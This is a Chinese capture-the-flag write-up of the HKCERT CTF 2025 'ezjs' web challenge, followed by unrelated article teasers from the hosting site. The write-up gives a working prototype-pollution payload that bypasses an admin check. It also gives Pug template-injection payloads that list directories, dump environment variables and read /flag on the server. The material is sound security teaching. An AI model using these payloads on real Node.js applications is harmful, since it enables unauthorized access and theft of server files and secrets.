【CTF-WEB】原型链污染及Pug模板注入

【CTF-WEB】原型链污染及Pug模板注入

题目

题目来源:HKCERT CTF 2025(Qualifying Round) 國際組
题目名称:ezjs
靶场网址:http://web-a30a7b2fcf.challenge.xctf.org.cn:80/

在这里插入图片描述


附件文件:app.js

const expres=require('express')constJSON5=require('json5');const bodyParser =require('body-parser')const pugjs=require('pug')const session =require('express-session')const rand =require('string-random')var cookieParser =require('cookie-parser');constSECRET=rand(32,'0123456789abcdef')const port=80const app=expres() app.use(bodyParser.urlencoded({extended:false})) app.use(bodyParser.json()) app.use(session({secret:SECRET,resave:false,saveUninitialized:true,cookie:{maxAge:3600*1000}})); app.use(cookieParser());functionwaf(obj, arr){let verify =true; Object.keys(obj).forEach((key)=>{if(arr.indexOf(key)>-1){ verify =false;}});return verify;} app.get('/',(req,res)=>{ res.send('hey bro!')}) app.post('/login',(req,res)=>{let userinfo=JSON.stringify(req.body)const user =JSON5.parse(userinfo)if(waf(user,['admin'])){ req.session.user = user if(req. session.user.admin==true){ req.session.user='admin' res.send('hello,admin')}else{ res.send('hello,guest')}}else{ res.send('login error!')}}) app.post('/render',(req,res)=>{if(req.session.user ==='admin'){var word = req.body.word const blacklist =['require','exec']let isBlocked =falseif(word){for(let keyword of blacklist){if(word.toLowerCase().includes(keyword.toLowerCase())){ isBlocked =truebreak}}}if(isBlocked){ res.send('Blocked: dangerous keywords detected!')}else{var hello='welcome '+ word res.send(pugjs.render(hello))}}else{ res.send('you are not admin')}}) app.listen(port,()=>{ console.log(`Example app listening on port ${port}`)})

package.json

{"name":"shabby_website","version":"1.0.0","description":"","main":"app.js","scripts":{"test":"echo \"Error: no test specified\" && exit 1"},"author":"Rieß","license":"ISC","dependencies":{"body-parser":"^1.20.2","cookie-parser":"^1.4.6","express":"^4.18.1","express-session":"^1.17.3","json5":"2.2.1","string-random":"^0.1.3","pug":"^3.0.2"}}

直接访问靶场

hey bro!

在这里插入图片描述


打开APIPOST访问看一下

在这里插入图片描述

观察app.js代码,发现post格式的登录请求url,访问一下

app.post('/login',(req,res)=>{......})

hello,guest

在这里插入图片描述

原型链污染

app.post('/login',(req,res)=>{let userinfo=JSON.stringify(req.body)const user =JSON5.parse(userinfo)if(waf(user,['admin'])){ req.session.user = user if(req. session.user.admin==true){ req.session.user='admin' res.send('hello,admin')}else{ res.send('hello,guest')}}else{ res.send('login error!')}})

这段代码是一个Node.js Express应用的登录接口,存在严重的安全漏洞(原型链污染)。让我详细解析:

代码功能解析

1. 路由定义

app.post('/login',(req, res)=>{...})
  • 处理POST请求到/login路径
  • 接收用户名密码等登录数据

2. 数据处理

let userinfo =JSON.stringify(req.body)const user =JSON5.parse(userinfo)
  • JSON5.parse:使用JSON5解析器(比标准JSON更宽松)
  • 关键漏洞:JSON5支持__proto__这个特殊属性名

3. WAF检查(有漏洞)

if(waf(user,['admin'])){...}
  • WAF只检查顶层键名是否包含’admin’
  • 但攻击者可以通过__proto__绕过

4. 会话处理和权限检查

req.session.user = user if(req.session.user.admin ==true){// 注意:这里有问题 req.session.user ='admin' res.send('hello,admin')}
  • 将用户数据存入session
  • 检查admin属性是否为true
  • 注意使用==而不是===(类型转换可能被利用)

关键安全漏洞

原型链污染攻击示例

攻击者可以发送这样的payload:

{"username":"attacker","__proto__":{"admin":true}}

攻击原理:

1. JavaScript 的原型链基础

JavaScript 中有一个特殊的设计:每个对象都有一个隐藏的链接,指向另一个对象。这个链接叫做 原型(prototype)

// 创建一个普通对象const person ={name:"Alice"};// person 的原型是 Object.prototype// 当我们访问 person.toString() 时:// 1. 先在 person 对象本身查找 toString 方法// 2. 没找到 → 去 person.__proto__(即 Object.prototype)中找// 3. 找到了 Object.prototype.toString 方法

可以用一个简单的图表示:

person 对象 ├─ name: "Alice" └─ __proto__: 指向 → Object.prototype ├─ toString() ├─ hasOwnProperty() └─ ... 
2. __proto__ 是什么?

__proto__ 是一个魔法属性,它允许我们直接访问和修改对象的原型链。

const obj1 ={};const obj2 ={admin:true};// 把 obj1 的原型指向 obj2 obj1.__proto__ = obj2;// 现在 obj1 虽然没有 admin 属性,但可以通过原型链访问 console.log(obj1.admin);// true!因为找到了 obj2.admin
3. 为什么 __proto__ 如此危险?
场景1:修改基础对象的原型
// 正常情况const user ={username:"guest"}; console.log(user.admin);// undefined// 攻击者污染了 Object.prototypeObject.prototype.admin =true;// 现在所有对象都有了 admin 属性! console.log(user.admin);// true! console.log({}.admin);// true! console.log([].admin);// true!
场景2:通过 JSON5 实现原型污染
// 正常 JSON.parse 不会解析 __proto__const safe =JSON.parse('{"__proto__": {"admin": true}}'); console.log(safe.__proto__);// { admin: true }(只是普通属性) console.log({}.admin);// undefined(没有被污染)// JSON5.parse 会解析 __proto__const dangerous =JSON5.parse('{"__proto__": {"admin": true}}'); console.log({}.admin);// true!所有对象都被污染了!
4. 在代码中如何工作?
// 假设攻击者发送:{"username":"attacker","__proto__":{"admin":true}}// 经过 JSON5.parse 后:const user ={username:"attacker",__proto__:{admin:true}// 注意:这里修改了原型!}// 存储到 session req.session.user = user;// 现在 req.session.user 的原型被改了// 检查 admin 属性if(req.session.user.admin ==true){// user 本身没有 admin 属性 → 去原型链上找// 原型链上有 admin: true → 条件成立!// 攻击者获得管理员权限!}
5. 更深入:原型链是如何被污染的?
// 实验:手动创建原型污染 console.log("污染前:",{}.admin);// undefined// 创建一个污染源const pollutedSource ={__proto__:{admin:true,isAdmin:function(){returntrue;}}};// 将这个对象赋值给另一个对象的原型const target ={}; target.__proto__ = pollutedSource.__proto__;// 或者使用 Object.assignconst anotherTarget ={}; Object.assign(anotherTarget.__proto__, pollutedSource.__proto__); console.log("污染后:",{}.admin);// true! console.log([].admin);// true! console.log("hello".admin);// true!连字符串都有admin属性了
6. 现实中的攻击案例
案例1:绕过权限检查
// 服务器端代码functioncheckPermission(user){if(user.role ==='admin'){// 从原型链上继承returntrue;}returnfalse;}// 攻击者发送const maliciousData ={"__proto__":{"role":"admin"}};// 所有新创建的用户都会自动变成 admin!
案例2:修改内置方法
// 攻击者污染了 toString 方法Object.prototype.toString=function(){return"HACKED!";};// 现在所有对象的 toString 都被修改了 console.log({}.toString());// "HACKED!" console.log([1,2,3].toString());// "HACKED!"// 可能导致系统崩溃或数据泄露

执行污染获取管理员权限

把{“proto”: {“admin”: true}}作为body参数对login路径进行post请求

返回得到hello,admin,表明污染成功

在这里插入图片描述


此时,我们凭借cookie可以任意访问管理员可以访问的网址

在这里插入图片描述

SSTI(服务器端模板注入)

 app.post('/render',(req,res)=>{if(req.session.user ==='admin'){var word = req.body.word const blacklist =['require','exec']let isBlocked =falseif(word){for(let keyword of blacklist){if(word.toLowerCase().includes(keyword.toLowerCase())){ isBlocked =truebreak}}}if(isBlocked){ res.send('Blocked: dangerous keywords detected!')}else{var hello='welcome '+ word res.send(pugjs.render(hello))}}else{ res.send('you are not admin')}})

Pug模板注入攻击

  • Pug模板引擎(原名为Jade)
  • 直接渲染用户输入:pugjs.render('welcome ’ + word)
  • 黑名单绕过:只过滤了require和exec
var hello='welcome '+ word res.send(pugjs.render(hello))

漏洞利用测试

将word=#{process.env}作为body参数访问reader路径,得到如下结果

<welcome>[object Object]</welcome>

这意味着SSTI(模板注入)攻击成功了

  1. SSTI确认成功
    • 你发送了:word= #{process.env}
    • 返回了:<welcome>[object Object]</welcome>
    • 这说明#{process.env}当作Pug/JavaScript代码执行了,而不是普通文本
  2. 环境变量被输出为对象
    • process.env 是一个JavaScript对象(包含所有环境变量)
    • [object Object] 是JavaScript对象转字符串的默认格式
    • 这证明你可以执行任意JavaScript代码!
在这里插入图片描述

读取当前目录下的文件

执行参数

#{global.process.mainModule.constructor._load('fs').readdirSync('.')}

返回结果:

<welcome>app.js,node_modules,package-lock.json,package.json</welcome>
在这里插入图片描述

读取环境变量详细信息

执行参数

#{JSON.stringify(process.env)}

返回结果:

{"USER":"www-data","NODE_VERSION":"18.12.1","HOSTNAME":"ce4ae7d70dd3","YARN_VERSION":"1.22.19","SHLVL":"3","HOME":"/home/www-data","OLDPWD":"/app","LOGNAME":"www-data","TERM":"xterm","PATH":"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","SHELL":"/bin/ash","PWD":"/app"} 
在这里插入图片描述


在这里插入图片描述

读取根目录下的文件

执行参数

 #{global.process.mainModule.constructor._load('fs').readdirSync('/')}

返回结果:

 .dockerenv,app,bin,dev,etc,flag,home,init.sh,lib,media,mnt,opt,proc,root,run,sbin,srv,sys,tmp,usr,var 
在这里插入图片描述

读取 /flag 文件

执行参数

#{global.process.mainModule.constructor._load('fs').readFileSync('/flag','utf8')}

返回结果:

flag{FcawKMoI06bpgM6VbffgwldC5KJcf6Em} 
在这里插入图片描述

Read more

Claude Code的完美平替:OpenCode + GitHub Copilot

引言:Claude 虽好,但你真的能用上吗? 在当前席卷全球的“Vibe Coding”浪潮中,Anthropic 推出的 Claude 系列模型 + 终端工具 Claude Code,凭借极强的逻辑推理能力,成为了开发者眼中的“白月光”。但现实是残酷的:对于中国开发者而言,账号随时被封、海外信用卡支付遭拒、API 额度受限以及复杂的网络环境,构成了一道难以逾越的门槛。 虽然最近国产编程模型不断发力,Claude Code + GLM-4.7的表现非常出色,但面对复杂问题,Claude系列模型依然完胜。难道我们只能眼馋Claude全家桶的编程体验吗? 作为一名追求极致生产力的开发者,我发现了一个绝佳的完美替代方案:OpenCode + GitHub Copilot。这个组合不仅能让你享受如 GLM-4.7 一样的性价比,还能更方便的使用 Claude 的顶级模型。 Claude Code 的开源免费平替:OpenCode 想要复刻

DeepSeek-R1-Distill-Llama-8B Python爬虫实战:智能数据采集与清洗教程

DeepSeek-R1-Distill-Llama-8B Python爬虫实战:智能数据采集与清洗教程 1. 引言:当AI推理能力遇上Python爬虫 如果你做过Python爬虫项目,肯定遇到过这些头疼的问题:网站结构变了,代码就得重写;反爬机制越来越复杂,得花大量时间研究;数据清洗规则繁琐,写正则表达式写到眼花。更别提那些动态加载的页面,用传统方法处理起来简直让人崩溃。 现在有个好消息:DeepSeek-R1-Distill-Llama-8B这个模型,能把爬虫开发这件事变得简单很多。它是个8B参数的推理模型,继承了DeepSeek-R1强大的推理能力,特别擅长理解网页结构、分析数据模式、生成处理代码。简单说,就是让AI帮你思考怎么爬数据、怎么清洗数据。 这个教程我会带你从零开始,用这个模型来优化整个爬虫开发流程。你会发现,原来写爬虫可以这么轻松——不用再为每个网站写一堆复杂的解析规则,AI能帮你自动生成代码;不用再手动处理各种反爬,AI能帮你分析应对策略;数据清洗也不再是苦差事,AI能帮你设计清洗规则。 2. 环境准备:快速搭建开发环境 2.1 安装基础依赖 首先确

2026最火的6款免费AI写作软件测评:ai写网文哪个好用?这款ai消痕工具

2026最火的6款免费AI写作软件测评:ai写网文哪个好用?这款ai消痕工具

很多朋友想在业余时间写写番茄、起点网文或者搞搞短剧赚点外快,但总是卡在“憋不出字”或者“大纲写崩”上。现在都2026年了,用ai写作软件来辅助写小说早就不是秘密了。 但是,网文平台的审核越来越严,很多新手直接用AI生成的文章发出去,立马就被平台判定为“AI生成”导致限流,不仅没流量,连全勤奖都拿不到。 今天,我们就抛开那些晦涩难懂的技术术语,用大白话给大家实测目前市面上热度最高的6款免费ai写作平台。到底ai写网文哪家强?怎么解决让人头疼的“机器味”?这篇超详细的避坑指南,建议想靠文字搞钱的朋友直接收藏! 一、 6大热门免费AI小说工具优缺点大盘点 我们选了大家最常搜的几款工具,直接看它们在实际写小说、写剧本时的真实表现。 1. 豆包:起名和找灵感的“点子王” * 优点:速度飞快,完全免费。你如果卡文了,或者不知道主角叫什么、书名怎么起才能吸引人,直接问豆包,它能一秒钟给你吐出几十个极其符合抖音、小红书调性的网感标题和名字。 * 缺点:千万别让它直接给你写正文!它的AI味太重了,动不动就是“嘴角勾起一抹弧度”、“倒吸一口凉气”。把这种文发到小说平台,

低代码方式将达梦数据库发布为RESTful API

低代码方式将达梦数据库发布为RESTful API

随着信创产业的推进,达梦数据库在金融、电力、政务等核心领域的应用日益广泛。然而,在系统架构现代化的过程中,开发团队常面临一个痛点:如何快速将沉淀在达梦数据库中的核心业务数据,以标准的 HTTP 接口形式暴露给前端、移动端或第三方系统? 传统的做法是开发一套 Java (Spring Boot) 或 Go 的后端服务,引入 JDBC 驱动,编写 Controller/Service/Dao 层代码。这种方式虽然灵活,但在面对简单的查数需求或快速原型验证时,开发链路过长。 本文将介绍如何通过纯 SQL 的方式连接达梦数据库,并在分钟级内生成标准的 RESTful API。 1. 环境准备与架构说明 在开始之前,我们需要理解 QuickAPI 在架构中的角色。它充当了 API Gateway 与 SQL 执行引擎 的中间件: * 连接: